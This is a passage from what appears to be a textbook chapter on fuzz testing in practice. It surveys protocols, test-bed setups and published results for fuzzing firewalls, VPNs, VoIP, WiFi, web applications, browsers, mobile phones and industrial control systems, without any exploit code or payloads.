outside attacker to a critical server located deep within a network, while other data
from the attacker may terminate in the demilitarized zone, or DMZ, with very little
access to critical servers. A thorough analysis of the perimeter defenses, the rules
and log files of firewalls and proxies, will provide similar results. At the perimeter
you can, for example, detect the outgoing client requests and incoming response
messages, which you would not be able to detect with any port scanning techniques.
Various probe-based network analyzers can again help to detect these use cases,
because they can check which client requests were actually responded to, therefore
requiring client-side fuzzing. Enterprises are often surprised during this exercise at
the number of interfaces, both server side and client side, that are actually exposed
to the open and hostile internet.

The greatest challenge in all enterprise test setups is that at some point, fuzzing
will most probably crash the critical services that are being tested. Fuzzing should be
first conducted in a separate test setup where crashes will not damage the produc-
tion network and where the failures are perhaps easier to detect. These test facilities
might not exist currently, as most testing done at an enterprise are feature and per-
formance oriented, and can be executed against the live system during quiet hours.

As an example of enterprise fuzzing, we will look at fuzzing against firewalls
and other perimeter defenses, and also at fuzzing Virtual Private Network (VPN)
systems. Both of these are today deployed in almost every enterprise requiring
remote work with security critical data. Firewalls today are very application-aware
and need to be able to parse and understand numerous communication protocols.
This extensive parsing leaves them open to security vulnerabilities. Likewise, VPNs
need to understand numerous complex, cryptographic protocols and are equally
susceptible. Besides these, enterprise fuzzing is often conducted against email sys-
tems, Web services, and various internal databases such as CRM.

9.1.1 Firewall Fuzzing

A firewall is a system that integrates various gateway components into an intelligent
router and packet filter. For most protocols, the firewall acts as an application-level
gateway (ALG) or an application proxy. For the protocols that it supports, it some-
times functions as a back-to-back user agent (B2BUA), on one side implementing a
server implementation of the protocol, and on the other, client functionality.

The most critical analysis point for firewall fuzzing is how much of the applica-
tion protocol the firewall actually implements. A firewall that functions only on the
IP and socket level will not require application-level fuzzers. Against such simple
firewalls, using advanced application-layer fuzzers will often be a waste of time. In
this case, much more effective tests can be found when the firewall is tested with
low-level protocol suites. And due to the speed of the device, you can potentially
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use a fuzzing suite with millions of random test cases and still quickly complete the
testing. A firewall can easily be tested at line speed, as the processing of the pack-
ets is fast, and needs to be fast. Also, a firewall that implements or integrates with
content-filtering software such as antivirus and anti-spam functionality should be
tested with file fuzzers over various transport protocols.

Firewalls may also treat most protocols as stateless, no matter how complex
the protocol is in real life.? For example, a firewall that is proxying the FTP pro-
tocol may not care that the password is sent before the username, just that each
separate packet conforms to the relevant RFC. Firewalls do not necessarily have
to understand the protocol as well as a true server or client, only well enough to
proxy requests back and forth.

Due to the closed architecture of most firewalls, the monitoring facilities in
firewall testing can be complex to set up. What makes this setup difficult, also, is
that for best results one should always use the real server software as the termina-
tion point for the used inputs. However, many test systems will simulate the end-
point, which makes testing easier, but may not reveal the true functionality of the
device. The best monitoring technique is through combining traditional test target
monitoring tools with sets of network analyzers* at two or four points in the packet
route, one or two analyzers per each hop in the network (Figure 9.1). With this test
setup, you will be able to detect:

* Dropped packets;

* Packets passed unaltered;

« Packets passed altered with differences highlighted;

« Delay, jitter, and packet loss (SLA) statistics for performance and availabil-
ity evaluation.

Network monitoring

@ West Network @ East Network @

Test Tool Black-box SUT Termination

IS —

System monitoring
Application monitoring
Event monitoring

Figure 9.1 Proxy fuzzing testbed with monitoring requirements.

3A firewall often takes the simplest route around a problem. The most critical requirement for a
firewall is performance. Keeping state information about thousands of parallel sessions will be close
to impossible.

“Network taps are available, for example, from VSS Monitoring (www.vssmonitoring.com/) and
analysis tools for combining numerous message streams from for example Clarified Networks (www.
clarifiednetworks.com/).
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In addition to the available black-box monitoring techniques, the actual device
can also be instrumented with process-monitoring tools. Unfortunately, very few
firewall vendors will provide the low-level access to the device that is needed for
proper monitoring during fuzz testing.

There are many names for this type of testing, most of which are also used to
describe other types of testing. Some call this pass-through testing, although to
most of us with a quality assurance background, that term means testing the pass-
through capability (performance) of a device. Others call this type of test setup
proxy-testing or end-to-end testing. When fuzzing is done both ways, it can also be
called cross-talk fuzzing. Also, for example, Ixia has a test methodology called No
Drop Throughput Test, which has similarities. Perhaps, the correct fuzzing variant
of this would be No Drop Fuzz Test. This type of testing is sometimes also called
impairment testing. End-to-end fuzzing is most probably the most general-purpose
term for this type of test setup, as the SUT can consist of more than one network
component, and the tests often need to be analyzed against real end-points and not
just in simulated environments.

An example result of analyzing an end-to-end fuzzing shows that only a small
portion of fuzz tests either pass through the test network or are completely blocked.
Most tests result in various unbalanced results in a complex network infrastructure
involving perimeter defenses and other proxy components (Figure 9.2).°> When the
fuzzed test cases involve a complex message flow, some part of the test cases can
be modified, nonfuzzed messages can be dropped, or responses can be modified
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[ Flows Identities | Passthrough (experimental) | [O]
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internet
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packets
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Figure 9.2 Example analysis of end-to-end fuzzing using Clarified Networks analyzer and
Defensics fuzzer.

SImage from Clarified Networks. www.clarifiednetworks.com.
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somewhere along the route. The result is very difficult to analyze without very
intelligent network analyzers. This modification of messages is often intended
behavior in, for example, a proxy implementing back-to-back user agent (B2BUA)
functionality.

9.1.2 VPN Fuzzing

As attractive as a VPN may be as an enterprise security solution, it can also be a big
security challenge. The protocols comprising typical VPN implementations are many,
and they are extremely complex, giving a lot of opportunities for implementation
errors. Many of the tests are run with or inside encrypted messages and tunneled
streams, making test analysis very challenging.

Each VPN can typically be configured to support a wide range of different tun-
neling and encryption protocols, augmented with complex authentication protocols
and key exchange protocols.

« Tunneling:
_ L2TP;
- MPLS.
* Encryption:
- IPSec;
- TLS/SSL (includes key exchange);
- SSH1 and SSH2 (includes key exchange).
+ Authentication:
- Radius;
- Kerberos;
~ PPTP;
- EAP;
- CHAP and MS-CHAP.
+ Key exchange:
- ISAKMP/IKEv1;
- IKEv2.

So basically, a VPN is an internet-facing device whose interior side resides within
an internal subnet of the enterprise. Furthermore, it processes numerous complex
protocols. In other words, these devices are a security nightmare and need to be
tested for all protocols that they support. Security protocols used in VPNs require
sophistication from the fuzzer. For example, a SSL/TLS fuzzer needs to implement
full capability to all encryption algorithms used in various TLS servers and clients.
Defensics tools for SSL/TLS fuzzing are one example of a fuzzer that implements
the encryption protocol fully to be able to fuzz it (Figure 9.3).

As VPN client devices are often accessing the VPN server over the internet, they
also need to be carefully tested for client-side vulnerabilities. VPN client fuzzers
combine similar challenges; namely, they need to implement the protocol at least
at some level, and also, similarly to browser fuzzing, they are slow to execute as
they test the client side.
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Figure 9.3 The third-generation Defensics TLS fuzzer from Synopsys.

9.2 Carrier and Service Provider Fuzzing

Carriers and service providers were simple entities in the past world of legacy tele-
communications, but more and more of these types of companies are today involved
in both carrying traffic and providing service to enterprises and consumers. The
carrier-type business is mostly about getting a specific stream to its intended recipi-
ent, although today there are more and more content-aware offerings. Protocols
such as MPLS are used to label and prioritize various types of traffic. The service-
provider-type business is adding value through services such as VoIP, email, or
Web hosting, with or without providing the last mile connection to the customer.

A carrier or service provider is always handling untrusted data. In such environ-
ment, all users will also be untrusted. All customers will have access to business-
critical services, and this can enable customers to attack services. All customers can
also potentially attack services of others using the network and the identity provided
by the service provider. It should come as no surprise that the internet service pro-
vider segment is one of the biggest consumers of fuzzing tools. From this segment,
we have chosen two case studies: voice over IP (VoIP) and WiFi.

9.2.1 VolIP Fuzzing

Whereas enterprise VoIP is just another data service, in telecommunications it is a
critical service that is destined to replace all legacy telephony. However, building
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VoIP is anything but simple.® In VoIP, the device itself often maintains the identity
of the callee and caller, and theft of such a device or possession of the processing
capability of such a device will allow someone to impersonate people and conduct
fraud. An attack against VoIP clients is an even greater threat than disabling a
centralized server, which is under the control of the provider and is thus easier to
maintain and secure. All VoIP infrastructures are also always handling critical data
because almost no single call flow is securely encrypted from end-to-end, but often
use hop-to-hop encryption. Access to any intermediary machine will allow someone
to eavesdrop on all calls using that particular machine.

Protocols used in VoIP include those dedicated for signaling and others for the
actual media, such as voice. In addition to those, a wide range of other protocols
are used.

Signaling protocols include:

 SIP and SDP;

« H.323;

« RTSP;

* Sigtran (SS7 over IP).

Media protocols include:

« RTP (and encrypted variants);
« RTCP.

Other protocols used in VoIP also include:

 IPv4 and IPv6 (both UDP and TCP);

« SCTP;

« TLS/SSL;

+ Diameter and Radius;

« DHCP, DNS and ENUM extensions to those;
» SigComp;

« RSVP.

All VoIP implementations must have both client and server functionality, which
is required in order to both make calls and to receive them. In SIP, these components
are called SIP-UAC (User-Agent Client) and SIP-UAS (User-Agent Server). Testing
both requires two fuzzer configurations, or test tools. Additionally, signaling pro-
tocols can be used on top of both TCP/IP and UDP.

In a typical configuration, many VolIP signaling protocols travel through dedi-
cated infrastructure, and authentication is performed against this same infrastruc-
ture. The media protocols such as RTP are often point-to-point, with messages
arriving from arbitrary clients on the internet. This places special requirements for
fuzzing media protocols such as RTP and RTCP.

®For more information about VoIP Security, check out: Peter Thermos & Ari Takanen. (2007).
Securing VoIP Networks—Threats, Vulnerabilities, and Countermeasures. Boston: Addison-Wesley.
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9.2.2 WiFi Fuzzing

Wireless fuzzing is a special field, with some special requirements for the equipment
being tested. Not all wireless devices advertise themselves, and therefore the tools
need to have advanced scanning techniques or need to be configured to detect the
device under test (DUT). Wireless networks are always open; there is no physical
wire or network device protecting a user from attackers. With adequate amplifiers,
the range of wireless networks can be surprisingly long. For example, short-range
wireless devices such as Bluetooth (about 10 meter range) have been attacked from
up to a kilometer away.

A WiFi fuzzer will break the wireless 802.11 frames at any layer below IP trans-
port (Figure 9.4). As the frames are broadcast over the wireless network, any device
on the same channel can detect fuzzed wireless frames and crash. Therefore, tests
should always be performed in a physically protected area, such as in a Faraday
cage. This can require additional planning for the test setup. As wireless fuzzers
require tailored hardware for access to low-level wireless frames, they always need
to be certified for use in different markets. Without such certification, testers can-
not use the tools outside protected test environments.

Note that many tool vendors advertise wireless fuzzing, but what they really
mean is that they can inject IP frames over a wireless network. They do not neces-
sarily break the wireless packets themselves, but rather focus on traditional appli-
cation fuzzing.

The WiFi specifications that a fuzzing tool should test include

+ Management frames;
+ Open authentication;
* QoS parameters;

# Frame 2 (%4 butes on wire. 54 butes cantwredi
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ouration: 0
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Figure 9.4 802.11 frame fuzzed with Defensics fuzzer.
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93

+ WEP;

« WPA1;

« WPA2;

IEEE 802.1X / EAPOL.

When you are testing access points and not the client implementations, you will
most probably also want to test the following interfaces:

« IPv4, at least ARP, UDP and TCP;
« HTTP;
« DHCP.

In a fuzzing study against seven different WiFi access points, we noted that all
access points could be crashed with at least some type of fuzzing.” In Table 9.1, we
can see that 33% of the devices crashed with fuzzing. The remaining devices did
not actually pass the tests, but the test resulted in some other instabilities. These
failures were not analyzed any further. These poor testing results with WiFi fuzz-
ing were to be expected as none of these devices had probably been fuzzed before.
But, a more serious result was that even simple DHCP fuzzing was able to crash
four out of the five devices. N/A in the table means those tests were not executed
due to time limitations.

Application Developer Fuzzing
Perhaps the most common area of fuzzing is in application fuzzing. For most indi-
viduals, the most interesting target of tests is some self-developed Web application

or a piece of software running on a standard operating system such as Linux or
Windows. This is also an area where most open-source fuzzers operate.

Table 9.1 Results of Fuzzing Wireless Devices

AP1 AP2 AP3 AP4 APS AP6 AP7
WLAN INC FAIL INC FAIL N/A INC INC 33%
1Pv4 FAIL PASS FAIL PASS N/A FAIL INC 50%
ARP PASS PASS PASS N/A FAIL PASS PASS 16%
TCP N/A N/A FAIL N/A FAIL PASS N/A 66%
HTTP N/A PASS FAIL PASS INC FAIL FAIL 50%
DHCP FAIL FAIL INC N/A FAIL FAIL N/A 80%

50% 40% 50% 33% 75% 50% 25%

7Ari Takanen and Sami Petijisoja. “Assuring the Robustness and Security of New Wireless Technolo-
gies.” Presentation and paper at ISSE/SECURE 2007 conference, Warsaw, Poland. October 3, 2007.
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9.3.1 Command-Line Application Fuzzing

The first publicly known fuzzer,® The Fuzz, by Professor Barton Miller and his team,
targeted command line utilities in Unix-style operating systems. Later, those tests
were also extended to cover various Microsoft and Apple operating system versions.

Simply, a command-line application fuzzer will execute commands (or scripts)
that take their parameters over the command line. Originally, this was an issue with
“Set User ID” or SUID? commands in Unix, but later, these fuzzed inputs were
noted to cause security issues with any commands that can be launched over remote
triggers, such as media received over the internet, or launched by server-side scripts.

9.3.2 File Fuzzing

File fuzzing is the simplest form of fuzzing. In file fuzzing, you either take a file and
mutate it (mutation-based fuzzing), or you teach your fuzzer the specification of the
file type and generate the fuzzed files (generational-based fuzzing). File fuzzing is
simpler than simple stateless request-response protocols because there usually is no
state information involved. The tests are static. Once generated, you can reuse them
over and over again. Some fuzz-file databases can contain tens of millions of tests
(files) that can be used for testing against various versions of software. The more
advanced file fuzzing techniques are based on automatic file specification engines.
These engines will automatically reverse-engineer the file structure and deploy fuzz
tests to the structure. For example, the PROTOS Genome!? project (ongoing since
2001) has used the same algorithms that are used to reverse-engineer structures
in the human genome to map common structures and understand the logic inside.

When conducting file fuzzing, you first need to analyze which file formats are
parsed by the application you wish to test. For example, a standard Web browser,
such as Internet Explorer, can easily support many different image formats and their
variants. A full coverage of tests with file fuzzing can be laborious, and therefore a
pregenerated suite of tests might give a good starting point for fuzzing. The greatest
challenge with file fuzzing, at least for QA people, is deciding when to stop fuzzing.

For an interesting case study, consider the work done fuzzing libpng, an open-
source PNG image decoder.!! Libpng is the decoder used by many common applica-
tions such as Firefox, Opera, and Safari. In this case, we began fuzzing this library
by using a mutation-based approach and monitoring the number of lines executed.
In other words, a particular PNG was obtained from the internet and 100,000
fuzzed PNGs were created by randomly changing bytes in the original file. Using
these files, approximately 10.7% of the library was executed. Next, in order to get
a feel for how important the choice of initial PNG was to this particular case of
mutation-based fuzzing, the same procedure was repeated starting from four other

8There have been other testing tools that have attempted to crash the SUT with various inputs, but
the Fuzz project was probably the first in which the intention was to find security vulnerabilities and
not just quality errors.

9A SUID bit in the file system will tell the operating system to launch the program with other privi-
leges, typically those of a system administrator.

Owww.ee.oulu.fi/roles/ouspg/genome.
Hwww.defcon.org/html/defcon-15/dc-15-speakers.html#Miller.
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different PNGs. In other words, for 5 distinct PNGs, 100,000 fuzzed PNGs were
created for each of the § initial files. Again, code coverage was monitored during
testing. It turns out that the choice of initial input to a mutation-based fuzzer is
very important, as Table 9.2 indicates.

Thus, it is important when fuzzing with a mutation-based approach to always
use a variety of initial files (or in general inputs) in order to mutate, because in this
small sample, some files obtained almost 50% more code coverage than others when
used as an initial file. Likewise, if you compute the code coverage from all 500,000
of the PNGs, you obtain code coverage of 17.4%, which is better than any one of
the files by itself. In other words, some of the PNGs exercise certain portions of the
code while other PNGs may exercise other portions of the code. No matter how
many bytes you change randomly, you will never duplicate the structure found in
different PNGs in a reasonable amount of time starting from one file.

Finally, we took libpng and fuzzed it using a generational-based approach with
SPIKEfile. This required writing out a complete specification for the PNG file for-
mat and intelligently fuzzing each particular field of the format. This required many
hours of labor to produce 30,000 fuzzed PNGs. However, the benefit was clear, as
25.5% code coverage was obtained by these 30,000 files. By consulting the results
of the mutation-based fuzzing, this is roughly twice the code coverage that you
would typically find with mutation-based fuzzing. Throughout all of this testing
of libpng, no crashes were observed, although deep monitoring was not conducted.

9.3.3 Web Application Fuzzing

In Web application fuzzing, the fuzzer will simulate a browser that will respond to
the Web application using many malicious inputs into all the form fields, cookies,
URLs, and so on. Furthermore, it will ignore all possible input validation performed
in the client, such as that done with JavaScript. Of course, input validation should
always be performed on the server side, even if a legal user would be restricted from
inputting whatever they pleased in the standard user interface.

The main reason why Web fuzzing is such a popular area of fuzzing is because
of the diverse developer community creating Web applications. Almost every Web
designer knows some scripting languages and will happily implement a server-side
script that receives input from a Web browser. Those Web applications can be quite
complex, and almost always tailored to each user.

Web application fuzzing happens in several different layers. Most Web fuzzing
tools only test the highest layer, and only with simple request-response test cases,
apparently going for the low-hanging fruit. Others spider through a Website look-
ing for individual targets, such as Web forms, and then test each of these automati-
cally with all visible parameters. Some tools can even benefit from reading in the

Table 9.2 Code Coverage Obtained with a Mutation-Based Fuzzer for Five
Different Initial “Good” Inputs

PNG 1 PNG 2 PNG 3 PNG 4 PNG §
Code coverage 10.7% 14.9% 13.7% 12.5% 10.5%
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server-side source code and also testing those parameters that are left in the scripts
from older releases but are not visible in the public Web form.

But, real-life Web fuzzing can be much more complex than these examples. A
complex business application may contain a complicated state machine, and therefore
each Web application test case can consist of a sequence of messages. For example,
an automated fuzz test against an e-commerce portal could include the preamble of
logging in, then adding items to a shopping basket, activating the purchase, and then
logging out. Web fuzzing is actually an interesting target for model-based fuzzing,
and numerous security consultants using most available fuzzing frameworks have
already conducted such tests.

When the use case or template for fuzzing is defined, or the model is built, the
fuzzers will then automatically input anomalies into various parts of the inputs. Most
Web fuzzing tools test through a predefined set of inputs for each parameter in the
Web forms. More advanced fuzzers will also enable the user to define substructure
for the parameters. The goal is to try inputs that would be passed through the Web
application and into a middleware component, operating system command, or a
database. Therefore, the inputs are almost always targeted against specific imple-
mentations. A set of test cases targeted to a specific variant of database query lan-
guage (such as the many variants of SQL) will probably not trigger a failure when
some other database is used in the server. Similarly, if the Web server is running on
a proprietary operating system, then tests that target Unix-based shell commands
would be doomed to fail.

Web 2.0 increases the complexity of Web fuzzing significantly, and makes it
even harder for standard off-the-shelf fuzzing tools to succeed due to the increased
proprietary communication interfaces between the browser and the server(s).!?

Example attack vectors include

« HTTP headers;

+ Transport protocols such as IP, TCP, SSL, and TLS;

« Database query languages: SQL;

 Execution flaws (scripting language specific);

« Web 2.0 remote procedure calls and streams such as SOAP and XML-RPC;
« XML XPath and XQuery;

* HTML content: Cross-Site Scripting (XSS);

. LDAP;

* Flash;

+ Java Remoting;

« Email, and any other application protocol launched by a Web application.

Both free and commercial Web testing tools are numerous, and a well-maintained
list is available from, for example, the OWASP portal.!3

2Alex Stamos and Zane Lackey. “Attacking AJAX Web Applications,” Presentation at Black Hat
USA 2007 conference. Las Vegas, NV. (July/August 2007).
Bwww.owasp.org/index.php/Appendix_A:_Testing_Tools.
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9.3.4 Browser Fuzzing

Web browsers are quite popular targets for fuzz testing within the bug bounty hunter
community. The reason is that most of the major Web browser vendors also have
a bug bounty program. Different browsers also have same, or at least nearly the
same, functionalities, so if you implement a fuzzer for one browser it is very likely
that it will also work with other browsers.

A large user base of Web browsers also make browsers an interesting target
for criminals. A set of 0-day flaws found in a widely used browser can result in a
devastating attack tool, with the capability to infect every customer that browses to
a malicious site. Browsers, and browser-like applications, are also available in IoT
devices, like SmartT Vs and cars, where updating the software is hard.

Browsers are the easiest fuzzing targets to set up, and you will never run out
of tests that you can run against them because they support almost everything that
most users are familiar with. Browsers can also be used to trigger a variety of local
applications on the host, such as PDF readers and office document viewers.

Some example attack vectors against browsers include

« HTTP;

« HTML, SVG;

+ JavaScript;

« XML and SOAP;

* JSON (e.g., JavaScript Arrays);

« WebSockets, WebRTC;

* IndexedDB;

« Images: gif, jpeg, png, and many others;

* Video: avi, mov, mpeg-variants, and many others;

* Audio: wav, mpeg-variants, streaming protocols, and many others.

Browsers are also probably one of the simplest applications to instrument. This
is because they run as stand-alone applications. It is extremely easy to build a simple
script that will automatically start and kill the browser, requesting a new test case
every time it is launched. You can also use HTTP features such as the “META
REFRESH?” tag to automatically refresh the page where the browser obtains its
test cases.

Some browser fuzzers do not generate actual test cases; instead they are written
in JavaScript that is executed in the browser. In-browser fuzzing can be done either
by directly executing JavaScript commands one at a time or by generating hundreds
of lines of JavaScript and executing the whole script. When the test case generator
is running outside of the browser, the test cases can be recorded and saved to a file
when needed. A test case generator running inside the browser cannot report its
state if a fatal error occurs and the browser crashes. To solve this problem, most
in-browser fuzzers use seeding, where usage of the same seed number consistently
generates the same output.

Mutation-based fuzzing, in the context of Web browsers, is mainly used for
binary file formats, such as images and videos, and formats with less strict syntactic
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rules than JavaScript. Mutation-based fuzzing can also be used to fuzz formats that
are executed in browser extensions, such as Flash and PDF.

In short, you should test any application that acts as a Web browser, or any
application that is launched by a Web browser, with all available fuzzing tools.
You can find tens of freely available browser fuzzing tools in any search engine
with the keywords “browser fuzzing.” For example, Mangle was a famous HTML
fuzzer that found many bugs in Internet Explorer, and JSFunFuzz is a JavaScript
Fuzzer. NodeFuzz!* is a Web browser testing harness that was developed by one
of the authors of this text to allow cross-platform fuzz testing of a wide variety of
Web browser features with user-defined test case generator and instrumentation
modules. NodeFuzz has been used to find over 150 vulnerabilities from Google
Chrome, Mozilla Firefox, and Internet Explorer.

Network Equipment Manufacturer Fuzzing

Fuzzing is especially important to network equipment manufacturers, due to the
difficulty of deploying updates to the devices after their release. For example, Cisco
Systems has explained how fuzzing is a key part of their software development life
cycle.b

9.4.1 Network Switch Fuzzing

A network switch or a router is a critical device in all network deployments. These
devices come in varying sizes and configurations and often run some real-time
operating systems such as Windriver or QNX. This can be a challenge for on-device
monitoring and instrumentation. Interfaces that can be fuzzed include router pro-
tocols, IP services, and various proxy components. Many home routers also have
application-level gateways and antivirus systems built into the device.

Router protocols include

+ BGP;

+ OSPF;

« IS-IS;

« PIM-SM/DM;
* GRE;

« DVMRP;

+ RSVD;

« VRRP;

« RIP;

« MPLS/LDP.

4http://jultika.oulu.fi/files/nbnfioulu-201504161396.pdf.

15Ari Takanen and Damir Rajnovic. “Robustness Testing to Proactively Remove Security Flaws with
a Cisco Case Study.” October 26, 2005. Silicon Valley Software Process Improvement Network (SV-
SPIN). www.svspin.org/Events/2005/event20051026.htm.
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9.4.2 Mobile Phone Fuzzing

Mobile phone fuzzing is very much like fuzzing against a typical desktop worksta-
tion. The specialty with smartphones is that the failure mode can be devastating—
that is, total corruption of the handset flash memory requiring reprogramming of
the flash memory to fix the operation. Fuzzing can result in corruption of the SIM
card beyond repair—for example, when fuzzing is conducted over Bluetooth SIM
access profile (SAP).

Mobile phones come with a number of open interfaces. We would not be sur-
prised to see a Web server on a mobile phone, as some messaging techniques actu-
ally use HTTP to transfer files between smartphones.

But, the most interesting interfaces and applications to fuzz in mobile phones
are the following:

» Wireless (Bluetooth, WiFi);

« Web browser (HTTP itself and all related interfaces mentioned earlier in
browser fuzzing);

» Email client (SMTP client, POP, IMAP4);

 VoIP client (SIP, RTP, TLS client);

* Instant messaging (SMS, MMS);

» Media formats (images, audio, video);

 Calendar data (vCal, iCal, vCard).

One of the authors of this text found a vulnerability in the Web browser in
Apple’s iPhone by using fuzzing techniques.!'®

Bluetooth is a special challenge in mobile phones due to the complex protocol
stack. Several Bluetooth interfaces are open to attack without any user acknowl-
edgment. Examples of such interfaces include Bluetooth/LCAP and Bluetooth/SDP.
Typically, low-level tests will break the stack itself, but high-level fuzzing of the
Bluetooth profiles will break the applications running above the stack.

Mobile phones can be tested through a range of different injection vectors (Fig-
ure 9.5). Active attacks push the fuzzed messages to the phone, requiring no action
by the user. Active fuzzing typically consists of testing the request messages or ini-
tiating messages on the SUT. Sometimes active fuzzing can also test interfaces that
require no action on the SUT but are automatically requested by the device itself.
On the other hand, passive attacks require test automation on the mobile phone to
fetch each fuzzed test case.

An example of this is testing Web clients or email clients on a smartphone. This
setup can pose problems, especially when a test case causes a crash and the device
will fetch the same test case each time from the cellular infrastructure. This hap-
pens often in SMS fuzzing, which can be set up as both active and passive fuzzing.
The offending test message is typically not deleted from the messaging server before
the handset crashes, and therefore other means must exist to skip over that test to
be able to automatically continue the test execution.

1owww.nytimes.com/2007/07/23/technology/23iphone.html.
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Figure 9.5 Test environment for fuzzing mobile phones.

In 2015, security researcher Joshua Drake used fuzzing to discover multiple
serious security vulnerabilities from the Android operating system.!” These vul-
nerabilities affected the Android backend engine for multimedia files and made it
possible for an attacker to gain remote code execution on an Android device by
sending a crafted media file as an MMS message.

9.5 Industrial Automation Fuzzing

Due to the fact that most industrial protocols are closed and vendor-proprietary,
the availability of fuzzing tools in this space is limited. Therefore, most industrial
control system equipment and software manufacturers are limited in their ability
to rigorously test new products for possible security flaws. New vulnerabilities are
constantly discovered and abused in systems used in critical environments such as
oil and gas, water, and electrical generation/distribution industries. Standard I'T
vulnerability testing does not typically address the unique failure modes such as
resource and timing constraints on the control side of these critical control systems.!®

https://www.blackhat.com/docs/us-15/materials/us-15-Drake-Stagefright-Scary-Code-In-The-Heart-
Of-Android.pdf.

8The section on Industrial Automation fuzzing is partially based on personal communications with
Dr. Nate Kube from Wurldtech, the SCADA fuzzing company that started the fuzzing in industrial
domain. GE acquired Wurldtech in 2014.
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To help provide a solution, the Achilles Vulnerability Assessment Project was
launched by the British Columbia Institute of Technology (BCIT) in the summer of
2003." The intent was to create a test platform that would eventually allow control
system vendors and end users to systematically stress-test critical equipment and
software for both known and unknown security vulnerabilities prior to market
release or field deployment.

SCADA fuzzing is different from other use scenarios in two perspectives. The
legacy SCADA systems were built on complex infrastructures involving serial (for
example, RS323, JTAG, USB) and potentially some proprietary parallel buses. Today,
most of these interfaces have been adapted into Ethernet-based technologies, and
that has introduced a family of new protocols such as:

+ Modbus/TCP;

* ModbusPLUS;

* Vnet/IP;

+ Ethernet/IP;

* Profinet;

« MMS (Manufacturing Message Specification).

The fuzz traffic generation is similar to any other fuzzer, but the models used
will require some rethinking due to the master-slave relationships used in SCADA.
Very few SCADA protocols use the client-server architecture. Determining the
extent of the malady is of greatest import. Therefore, the monitoring of key device
functionalities becomes the paramount issue. To achieve this, the SCADA fuzzing
frameworks divide the control functionality into three discrete areas:

+ Ethernet communications processing;
 Logic processing;
 1/O processing.

Each of these areas is monitored separately to accurately quantify a SUT’s
response to testing stimulus. Monitor data is used as a part of determining the
severity metric if a failure is detected.

Key challenges in SCADA fuzzing include:

« Diversity in protocol implementations (optional and vendor extensions);
« Ambiguity in protocol implementation;

+ Access to test equipment;

« Complexity in configuration of systems and test beds;

+ Simulations with and without loaded behavior;

+ Gray-box access to SUT;

« Multi-way redundancy in SUT;

« Fail-over behavior of SUT;

The Achilles project was a success and Wurldtech Security Technologies emerged as the leading
provider of security solutions to SCADA, process control, and mission-critical industries, and the first
company to offer a comprehensive suite of products and services designed specifically to protect the
systems and networks that operate the foundation of the world’s critical infrastructure.
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« Performance constraints because some devices are very slow;
* Accounting for watchdogs, fail-safe modes, communication fail-over, and
so forth.

The various storm-based test cases included in the Achilles fuzzer suite were
developed in response to lab and field testing as well as reported failures in the field
that found that high volumes of regular or unusual packets often caused opera-
tional discontinuity (for example, hard-faulted devices, loss of communication for
extended periods after a storm has ceased, tripped safety systems). They are also
used to discover and validate functional constraints of the device under test (such as
maximum packet per second rates before being DoS’ed). This allows other tests to
ensure they deliver valid results and prevent false positives or can be used to force
a device to fault and reset, providing access to device states that only occur dur-
ing startup. These states can contain information like log-in sequences or database
downloads, that can provide a huge amount of valuable information.

The traffic generated by each type of storm has a structurally correct header
for the protocol being tested with a random payload. Different failure patterns were
identified depending on how well structured the packet was (i.e., how many pro-
tocol headers were structurally valid) and that one of the primary causes of fault
was excessive CPU load during processing, followed by memory exhaustion and
concurrency issues.

The storms are designed to load the target protocol as heavily as possible while
minimizing interaction at high protocol layers. The traffic generated by each type of
storm has a structurally correct header for the protocol being tested with a random
payload meant to be caught by error-checking code at the next protocol level up. This
allows us to measure differences in behavior between protocols (Ethernet vs. IP, IP
vs. TCP, etc.) that may be exploitable. For example, in some devices tested, there was
a greater overhead incurred processing Ethernet headers with random payloads than
when processing IP headers with random payloads. Different delivery mechanisms
such as broadcast and multicast have also exhibited similar unexpected behavior
during storm tests, inciting the creation of broadcast/multicast storm variants.

The ability to stress the communication process to various levels allows us to
measure how the device responds to hostile networking conditions. Most equip-
ment tested has had a design goal that inputs cannot impact the controller’s ability
to maintain its I/O functions according to some well-defined policy (no affect at
all, entering a fail-safe mode, etc.). Noting that different kinds of protocols affect
CPU and memory load differently, we are able to measure discrepancies between the
desired 1/O policy and the actual behavior. Many SCADA networks are designed
for a maximum data rate of about 500 to 1,000 packets per second, which makes
simple load-based DoS$ attacks very feasible.

Since the famous SCADA attack called Stuxnet in 2010, the focus of industrial
control systems (ICS) security audits has been in the field devices and controllers.
However, the commonly used ISA-95 reference model for industrial integration con-
tains four layers: enterprise resource planning, manufacturing execution, process
control, and field devices. This hierarchy usually shares network components and
systems not only internally but also with various external systems such as cam-
era monitoring, on-premise security systems, and building automation. From an
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automation viewpoint these external systems create a critical access path into the
core automation. They have different operators and subcontractors but can share
the same network infrastructure.

The integration technologies have changed from traditional proprietary automa-
tion solutions (see Figure 9.6[a]) into commonly used office technologies (see Figure
9.6[b]). As IPs became the common nominator for integration, they also brought
with them security and real-time challenges as side effects (see Figure 9.7).

The traditional gateway-based integration required only hardening of the gate-
way device. This was also risk reduction: if the gateway was breached or DoS’d,
the automation behind the gateway still remained operational. The cost-effective
common-of-the-shelf (COTS) solutions changed this risk landscape. Suddenly auto-
mation field devices and controllers were accessible with internet technologies. These

—LEthernet

Figure 9.6 Change of traditional HART-based information collection (a) and common office
technology-based solutions (b).

Modbus Modbus/TCP
Presentation
Session

=

Data link RTU Ethernet b

Existing attack vectors —

Network

Figure 9.7 Change in protocol from Modbus-over-serial to Modbus/TCP-over-100Base-T
physical layer with existing attack surface.
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field devices were never designed to be part of a hostile network environment where
resources are not guaranteed to be sufficient. They were designed to be resilient
against random protocol errors that usually were the result of one badly behaving
device, errors generated by a hostile physical environment, or errors generated by
a random human-in-the-loop.

In 2015, fuzz tests and binary analysis of various industrial components were
conducted by Jari Seppild at Tampere University of Technology (TUT). Results
were originally published at the 2015 TAEA meeting in Austria. Vulnerability test-
ing was done by using two different approaches. The first approach included fuzz
testing (or fuzzing), which is dynamic black-box testing where the device under test
is fed with anomalous and unexpected inputs in the hopes of bringing the target
to a denial of service (DoS) state or to manifest other unexpected behavior (Table
9.3). The second approach was static binary analysis, where the target firmware was
analyzed in order to provide information about the contained software components
and their known vulnerabilities.

A Pass-verdict here indicates that all tests were handled by the system without
apparent failures. A Fail-verdict indicates that the device crashed, rebooted, or some
subsystem in the device failed, denying further communications with the device
(DoS). Discovered vulnerabilities were verified by reproducing the test scenarios
after reboot of the device. Error modes shown in the DoS situations varied from
rejection of further communication to total halting or rebooting of the device.

Identification of these vulnerabilities was based on advanced fuzzing techniques
